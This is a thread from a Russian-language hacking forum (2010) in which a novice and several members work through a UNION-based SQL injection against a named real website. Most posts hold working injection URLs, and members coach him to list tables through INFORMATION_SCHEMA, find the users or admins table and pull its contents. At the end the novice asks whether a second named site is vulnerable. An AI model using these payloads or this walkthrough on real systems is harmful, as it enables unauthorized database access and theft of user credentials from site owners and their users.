 |
|
16.05.2010, 13:54
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
http://expert-poisk.ru/spravka.php?act=show_cat&cat=-30+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18/**/
узнал я
database() - expert_poisk
version() - 5.0.77
user() - expert_poisk@localhost
дальеше что делать надо?
|
|
|
16.05.2010, 13:59
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
С нами:
9116712
Репутация:
688
|
|
Сообщение от geforce
http://expert-poisk.ru/spravka.php?act=show_cat&cat=-30+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18/**/
узнал я
database() - expert_poisk
version() - 5.0.77
user() - expert_poisk@localhost
дальеше что делать надо?
а дальше читать статьи 
|
|
|
|
16.05.2010, 14:01
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
Сообщение от f1ng3r
а дальше читать статьи Кинь сыль плиз?
|
|
|
|
16.05.2010, 14:09
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами:
8885780
Репутация:
672
|
|
Сообщение от geforce
http://expert-poisk.ru/spravka.php?act=show_cat&cat=-30+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18/**/
узнал я
database() - expert_poisk
version() - 5.0.77
user() - expert_poisk@localhost
дальеше что делать надо?
дальше вытащи имена таблиц,найдешь интересную таблицу(в смысле таблица узеров или админов)
узнай колонки таблицы,а потом select из таблицы..
понял?
|
|
|
|
16.05.2010, 14:17
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
Сообщение от Konqi
дальше вытащи имена таблиц,найдешь интересную таблицу(в смысле таблица узеров или админов)
узнай колонки таблицы,а потом select из таблицы..
понял?
А есть ФАК более менее понятный для новичка!
понял что из базы expert_poisk надо вытащить users!
только как?
http://expert-poisk.ru/spravka.php?act=show_cat&cat=-30+union+select+1,users,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18+from+expert_poisk/**/
Пишет:
Table 'expert_poisk.expert_poisk' doesn't exist
|
|
|
|
16.05.2010, 14:18
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
С нами:
9116712
Репутация:
688
|
|
Сообщение от geforce
Кинь сыль плиз?
|
|
|
|
16.05.2010, 14:27
|
|
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
С нами:
8556372
Репутация:
127
|
|
Сообщение от geforce
А есть ФАК более менее понятный для новичка!
понял что из базы expert_poisk надо вытащить users!
только как?
http://expert-poisk.ru/spravka.php?act=show_cat&cat=-30+union+select+1,users,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18+from+expert_poisk/**/
Пишет:
Table 'expert_poisk.expert_poisk' doesn't exist
Дак expert_poisk это БД а не таблица. Читай что дали выше
|
|
|
|
16.05.2010, 14:37
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
С нами:
8602291
Репутация:
256
|
|
CHARACTER_SETS имя таблицы?
Да, но в ней нет юзеров.
Делай так:
http://expert-poisk.ru/spravka.php?act=show_cat&cat=-30+union+select+1,TABLE_NAME,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18+FROM+INFORMATION_SCHEMA.TABLES +LIMIT+1,1 /**/
Потом: limit+2,1; limit+3,1 и т.д., пока не найдешь то что тебе нужно.
Или можно так:
http://expert-poisk.ru/spravka.php?act=show_cat&cat=-30+union+select+1,group_concat(TABLE_NAME),3,4,5,6 ,7,8,9,10,11,1 2,13,14,15,16,17,18+FROM+INFORMATION_SCHEMA.TABLES /**/
Не забываем про то, что функции group_concat по дефолту ограничение - 1024 символа на вывод.
Последний раз редактировалось Iceangel_; 16.05.2010 в 15:09..
|
|
|
|
16.05.2010, 14:44
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами:
8700497
Репутация:
388
|
|
2CyberHunter, group_concat
и выводит не все таблицы, а сколько позволит ограничение вывода
|
|
|
|
16.05.2010, 15:24
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
А это скула?
http://www.modvlad.ru/gallery/list.php?imagelib_cid=www
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
